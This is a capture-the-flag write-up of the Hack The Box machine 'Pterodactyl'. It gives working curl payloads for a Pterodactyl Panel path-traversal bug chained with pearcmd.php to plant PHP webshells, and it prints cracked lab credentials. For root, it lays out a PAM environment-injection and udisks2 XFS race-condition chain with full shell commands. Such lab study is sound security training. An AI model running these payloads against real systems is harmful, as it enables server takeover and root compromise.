Pterodactyl
Unauthenticated RCE via Pterodactyl Panel LFI (CVE-2025-49132), credential reuse for SSH, then privilege escalation via PAM session injection (CVE-2025-6018) chained with udisks2 XFS resize race condition (CVE-2025-6019) to obtain root.
contents

Pterodactyl — HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Pterodactyl |
| IP | 10.129.4.193 |
| OS | Linux (openSUSE Leap 15.6) |
| Difficulty | Medium |
| Key Topics | CVE-2025-49132 (LFI→RCE), pearcmd.php, CVE-2025-6018 (PAM bypass), CVE-2025-6019 (udisks2 XFS SUID mount), xfs_db inode manipulation |
Overview#
Pterodactyl was a Medium-difficulty Linux box running the Pterodactyl Panel game server management application on openSUSE Leap 15.6. The attack path began with an unauthenticated Local File Inclusion vulnerability in Pterodactyl Panel v1.11.10 (CVE-2025-49132) which was chained with PHP-PEAR’s pearcmd.php to achieve remote code execution as the wwwrun web server user. Database credentials leaked through the same LFI allowed dumping panel user hashes, one of which was cracked and reused for SSH access. Privilege escalation to root was achieved by chaining two vulnerabilities: a PAM environment injection (CVE-2025-6018) that tricked polkit into granting local-session privileges to an SSH session, combined with a udisks2/libblockdev XFS resize race condition (CVE-2025-6019) that temporarily mounted an XFS image without the nosuid flag, allowing execution of a SUID-root bash binary.
Reconnaissance#
An nmap scan revealed two open ports: SSH (22) and HTTP (80).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
80/tcp open http nginx 1.21.5
The web server on port 80 hosted a static Minecraft community page titled “My Minecraft Server” / “MonitorLand”. The page referenced play.pterodactyl.htb as the server address and the machine name strongly suggested Pterodactyl Panel.
Subdomain enumeration with ffuf discovered two virtual hosts:
panel.pterodactyl.htb— Pterodactyl Panel v1.11.10 (Laravel SPA)play.pterodactyl.htb— Redirected to the main site
Enumeration#
Main Site#
The main site at pterodactyl.htb was almost entirely static. Two notable files were discovered:
/changelog.txt— Revealed the full technology stack including Pterodactyl v1.11.10, MariaDB 11.8.3, PHP-PEAR installation, and a note about a temporaryphpinfo.phppage./phpinfo.php— Exposed the complete PHP configuration confirming critical prerequisites for exploitation:register_argc_argv = Oninclude_pathcontained/usr/share/php/PEAR- No
disable_functions - No
open_basedirrestriction - System: openSUSE Leap 15.6, kernel 6.4.0
Pterodactyl Panel#
The panel at panel.pterodactyl.htb was a Laravel-based React SPA running Pterodactyl Panel v1.11.10. reCAPTCHA was disabled on the login form. The /auth/register endpoint returned 200, suggesting registration might be enabled. The /admin path returned a 403, confirming server-side authorization checks.
Vulnerability Research#
Research identified CVE-2025-49132 (CVSS 10.0) — an unauthenticated path traversal in Pterodactyl Panel’s /locales/locale.json endpoint affecting versions below 1.11.11. The locale and namespace GET parameters were passed directly to PHP’s include() without sanitization. Combined with the confirmed presence of PHP-PEAR and register_argc_argv=On, this provided a direct path to unauthenticated RCE.
For privilege escalation, CVE-2025-6018 (PAM environment injection on openSUSE) and CVE-2025-6019 (udisks2 XFS resize race condition) were identified as a chained LPE-to-root path. The target’s openSUSE Leap 15.6 was confirmed vulnerable.
Exploitation — User Flag#
Stage 1: Configuration Leak via CVE-2025-49132#
The LFI in /locales/locale.json was used to leak the database configuration:
curl -g -s -H "Host: panel.pterodactyl.htb" \
"http://10.129.4.193/locales/locale.json?locale=../../../pterodactyl&namespace=config/database"
This returned the full Laravel database config including:
- MySQL credentials:
pterodactyl:PteraPanel@127.0.0.1:3306/panel - Redis:
127.0.0.1:6379(no password)
A second request leaked the APP_KEY:
APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
Stage 2: RCE via pearcmd.php#
The LFI was chained with PHP-PEAR’s pearcmd.php to write a webshell. The register_argc_argv=On setting allowed query string parameters to be parsed as CLI arguments by PEAR:
Write webshell via PEAR config-create:
curl -g -s -H "Host: panel.pterodactyl.htb" \
"http://10.129.4.193/locales/locale.json?locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/<?=system(\$_GET[0]);?>+/tmp/shell.php"
Include the webshell via LFI:
curl -g -s -H "Host: panel.pterodactyl.htb" \
"http://10.129.4.193/locales/locale.json?locale=../../../../../tmp&namespace=shell&0=id"
Result: uid=474(wwwrun) gid=477(www) groups=477(www) — RCE confirmed.
A cleaner webshell was then written to the panel’s public directory for easier access:
curl -g -s -H "Host: panel.pterodactyl.htb" \
"http://10.129.4.193/locales/locale.json?locale=../../../../../tmp&namespace=shell&0=echo+'<?php+system(\$_GET[\"c\"]);?>'+>+/var/www/pterodactyl/public/x.php"
Stage 3: Database Dump and Credential Cracking#
Using the webshell and the leaked MySQL credentials, the panel’s user table was dumped:
| Username | Role | Hash |
|---|---|---|
| headmonitor | Admin | $2y$10$3WJht3/... (bcrypt) |
| phileasfogg3 | User | $2y$10$... (bcrypt) |
The phileasfogg3 hash was cracked using john with the rockyou wordlist:
phileasfogg3: !QAZ2wsx
Stage 4: User Flag#
The user flag was readable by wwwrun due to world-readable permissions on phileasfogg3’s home directory:
curl -s -H "Host: panel.pterodactyl.htb" \
"http://10.129.4.193/x.php?c=cat+/home/phileasfogg3/user.txt"
User Flag: 60118fc5c22296901c1ee10cfcee50b3
Privilege Escalation — Root Flag#
Stage 1: SSH Access#
The cracked panel password !QAZ2wsx was reused for SSH:
sshpass -p '!QAZ2wsx' ssh phileasfogg3@10.129.4.193
# uid=1002(phileasfogg3) gid=100(users) groups=100(users)
Stage 2: CVE-2025-6018 — PAM Environment Injection#
On openSUSE Leap 15.x, PAM’s pam_env module reads ~/.pam_environment with user_readenv=1. By injecting specific environment variables, an SSH session can be made to appear as a local console session to systemd-logind, which causes polkit to grant allow_active privileges:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
After reconnecting via SSH, the session properties confirmed the bypass:
Seat=seat0
VTNr=1
Active=yes
State=active
This granted allow_active polkit privileges, including the ability to use udisksctl for filesystem operations.
Stage 3: CVE-2025-6019 — XFS Resize Race Condition#
The vulnerability is in libblockdev’s XFS resize handler: when udisksctl triggers an XFS resize via D-Bus, libblockdev temporarily mounts the filesystem without the nosuid flag. This creates a race window where SUID binaries in the filesystem are honored.
Create the XFS image:
dd if=/dev/zero of=/tmp/exploit.img bs=1M count=300
/sbin/mkfs.xfs /tmp/exploit.img
Modify root inode permissions so we can write to the mounted filesystem:
xfs_db -x -c "inode 128" \
-c "write core.uid 1002" \
-c "write core.gid 100" \
-c "write core.mode 040777" /tmp/exploit.img
Mount via udisksctl, copy bash:
udisksctl loop-setup -f /tmp/exploit.img # /dev/loop0
udisksctl mount -b /dev/loop0 # mounted with nosuid
cp /usr/bin/bash /run/media/phileasfogg3/.../xpl
chmod 4755 /run/media/phileasfogg3/.../xpl
udisksctl unmount -b /dev/loop0
udisksctl loop-delete -b /dev/loop0
Set root ownership and SUID via raw inode manipulation:
This was the key technique — xfs_db was used to directly modify the inode of the copied bash binary, setting it to root:root with the SUID bit. This bypassed the need for root privileges to chown/chmod:
# Find the inode number
xfs_db -r -c "inode 128" -c "ls" /tmp/exploit.img
# 12 131 regular 0x001e386c 3 xpl (good)
# Set root:root ownership and SUID
xfs_db -x -c "inode 131" \
-c "write core.uid 0" \
-c "write core.gid 0" \
-c "write core.mode 0104755" /tmp/exploit.img
Verification:
core.uid = 0
core.gid = 0
core.mode = 0104755 # -rwsr-xr-x root:root
Trigger the race condition:
A loop device was created, then 20 parallel resize requests were fired via D-Bus while a background watcher searched for and executed the SUID binary:
# Loop setup
udisksctl loop-setup -f /tmp/exploit.img
# Background watcher
(while true; do
FOUND=$(find /run /tmp -name "xpl" -perm -4000 2>/dev/null | head -1)
if [ -n "$FOUND" ]; then
"$FOUND" -p -c 'id; cat /root/root.txt'
exit 0
fi
done) &
# Fire 20 parallel resize requests
for i in $(seq 1 20); do
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize \
"uint64 0" "{}" &
done
The race was won — libblockdev mounted the XFS image at /tmp/blockdev.9QA2L3/ without nosuid, and the SUID-root bash binary was executed:
FOUND via find: /tmp/blockdev.9QA2L3/xpl
-rwsr-xr-x 1 root root 1012656 Mar 19 22:32 /tmp/blockdev.9QA2L3/xpl
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Root Flag: a0dae9e0be9b472c08f2a4300c6a1c57
Obstacles & Lessons Learned#
“Panel passwords != SSH passwords” was a false assumption. Early testing suggested the cracked panel password for
phileasfogg3did not work for SSH, but this was likely a transient issue or testing error. Retrying SSH with the panel password!QAZ2wsxsucceeded. Always re-verify failed authentication attempts.No root on the attacker machine for XFS image preparation. The standard CVE-2025-6019 exploit flow requires root on the attacker machine to create an XFS image with a SUID-root binary. This was solved by using
xfs_dbon the target to directly modify raw XFS inodes — setting uid=0, gid=0, and the SUID mode bit on the bash binary without ever needing root. This is a useful technique when attacker-side root is unavailable.Race condition timing. The XFS resize mount window is very brief. Firing 20 parallel resize requests while running a tight background search loop was sufficient to win the race consistently.
Machine downtime during scanning. Three concurrent
feroxbusterscans caused the target to become unreachable for 25+ minutes. For resource-constrained HTB machines, sequential scanning is safer than aggressive parallelism.Webshell output embedded in PEAR config. The initial webshell via pearcmd LFI inclusion produced output wrapped in PHP serialized PEAR configuration data, making it hard to parse. Writing a clean secondary webshell to the panel’s public directory solved this.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | Port scanning, service detection, OS fingerprinting |
| ffuf | Virtual host / subdomain discovery |
| whatweb | Technology fingerprinting |
| curl | HTTP requests, webshell interaction, CVE-2025-49132 exploitation |
| john | Bcrypt hash cracking (phileasfogg3 panel password) |
| sshpass | Non-interactive SSH authentication |
| searchsploit | Exploit search (CVE-2025-49132 PoC) |
| udisksctl | Loop device and filesystem operations (CVE-2025-6019) |
| xfs_db | Raw XFS inode manipulation (set SUID-root without root) |
| gdbus | D-Bus method invocation (trigger XFS resize) |
| mkfs.xfs | XFS filesystem creation |